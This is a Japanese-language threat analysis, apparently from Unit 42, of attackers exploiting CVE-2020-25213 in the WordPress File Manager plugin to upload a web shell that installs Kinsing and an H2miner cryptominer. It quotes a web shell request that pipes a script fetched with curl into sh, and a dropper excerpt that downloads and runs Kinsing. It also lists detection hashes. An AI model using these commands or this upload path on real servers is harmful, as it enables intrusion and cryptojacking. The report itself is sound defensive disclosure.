This post is also available in: English (英語)
概要
2020年12月、Unit 42のリサーチャーはCVE-2020-25213のエクスプロイト試行を観測しました。同脆弱性はWordPressファイルマネージャプラグインに存在するファイルアップロードの脆弱性です。エクスプロイトに成功すると、攻撃者が任意の名前と拡張子を持つ任意のファイルをアップロードし、標的となったWebサーバーでのリモートコード実行(RCE)が可能となる可能性があります。攻撃者はこのエクスプロイトを使ってWebシェルをインストールし、同シェルでKinsingとよばれるマルウェアをインストールしていました。Kinsingは、H2minerファミリに属する悪意のあるクリプトマイナー(暗号通貨マイナー)を実行します。KinsingはGolangプログラミング言語ベースのマルウェアで、その最終目的はコンテナ環境におけるクリプトジャック攻撃への利用です。パロアルトネットワークス製品をご利用のお客様は、Cortex XDR、AutoFocus、NGFW、WildFireのセキュリティサブスクリプションにより、CVE-2020-25213とKinsingから保護されています。
CVE-2020-2513とWebシェル
この脆弱性は、WordPressファイルマネージャプラグインが、elFinderライブラリのConnector.minimal.php.distファイルのファイル拡張子を.phpにリネームしたことに起因しています。このリネームにより同ファイルは直接の実行が可能になっています。このファイルにはアクセス制限がないため、Webサーバーを閲覧している人であれば誰でも実行することができます。このファイルには、認証なしでファイルをWebサーバーにアップロードするメカニズムが含まれています。この不具合が原因で、誰でもファイルをアップロードできるため、悪意のある攻撃者は、同ファイルへの攻撃とWebシェルのアップロードを開始しました。アップロードされたwebシェルは、マルウェアやクリプトマイナーのインストールなど、さらなるアクティビティに使用することができます。
観測された攻撃チェーン
私たちは、攻撃されたマシンのアクセスログから調査を始めました。私たちの注意を引いたのは、次のWebサーバーへの次のHTTP POSTリクエストでした。
[19/Dec/2020:08:58:08 +0000] "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 200 1453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
このリクエストは、Webシェルをアップロードするために使用されていました。ログをさらに調べると、原因となったWebシェルが見つかりました。
[19/Dec/2020:08:57:48 +0000] "GET /wp-content/plugins/wp-file-manager/lib/files/k.php?cmd=curl+X.X.X.X%2Fwpf.sh%7Csh HTTP/1.1" 200 411
上記からわかるとおり、このWebシェルはk.phpという名前で、これに対して実行すべきコマンドが提供されていました。Webシェル自体は、Webサーバー上にプレーンテキストとして保存されており、難読化も認証手段もない非常にシンプルなものでした。
Webシェルk.phpに発行されたHTTP GETリクエストをさらに調べたところ、単にcurlコマンドを呼び出し、wpf.shという名前のファイルをダウンロードして、それを実行しただけであることがわかりました。私たちは、攻撃者のコマンド&コントロール(C2)サーバーからシェルスクリプトを入手しました。ファイルの概要は次のとおりです。
…
$WGET $DIR/kinsing http://X.X.X.X/kinsing chmod +x $DIR/kinsing
…
SKL=wpf $DIR/kinsing
…
このファイルwpf.sh は、wgetを使ってKinsingをダウンロードし、実行権限を付与して実行を続行するスクリプトです。
結論
WordPressファイルマネージャのRCE脆弱性CVE-2020-25213のエクスプロイトが実際に使われている様子があることが確認されました。攻撃者はこのエクスプロイトを使用してWebシェルをインストールし、Kinsingをインストールし、H2minerファミリの悪意のあるクリプトマイナーを実行していました。Kinsingの最終目的はコンテナ環境におけるクリプトジャック攻撃への利用です。パロアルトネットワークスのお客様は、次の方法でCVE-2020-25213から保護されています。
- Linux Cortex XDRエージェントはこの攻撃をブロックします。Webシェルは、機械学習アルゴリズムを搭載したローカル脅威評価エンジンにより検出されます。
- このマルウェアはNGFWのWildFireセキュリティサブスクリプションにより「malicious(悪意がある)」と判定されます。
- Cortex XDR Behavioral Threat Protectionエンジンは、Kinsingとそのペイロードであるクリプトマイナーの両方を防止します。
- 同マイナーとKinsingのAutoFocusタグはこちらです。
IoC
Kinsingのハッシュ値
- 6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b
- 5f1e0e3cc38f7888b89a9adddb745a341c5f65165dadc311ca389789cc9c6889
クリプトマイナーのハッシュ値(H2miner)
- dd603db3e2c0800d5eaa262b6b8553c68deaa486b545d4965df5dc43217cc839
シェルスクリプトのハッシュ値
- a68ab806c8e111e98ba46d5bfdabd9091a68839dd39dfe81e887361bd4994a62
Webシェルのハッシュ値
- f1c5bed9560a1afe9d5575e923e480e7e8030e10bc3d7c0d842b1a64f49f8794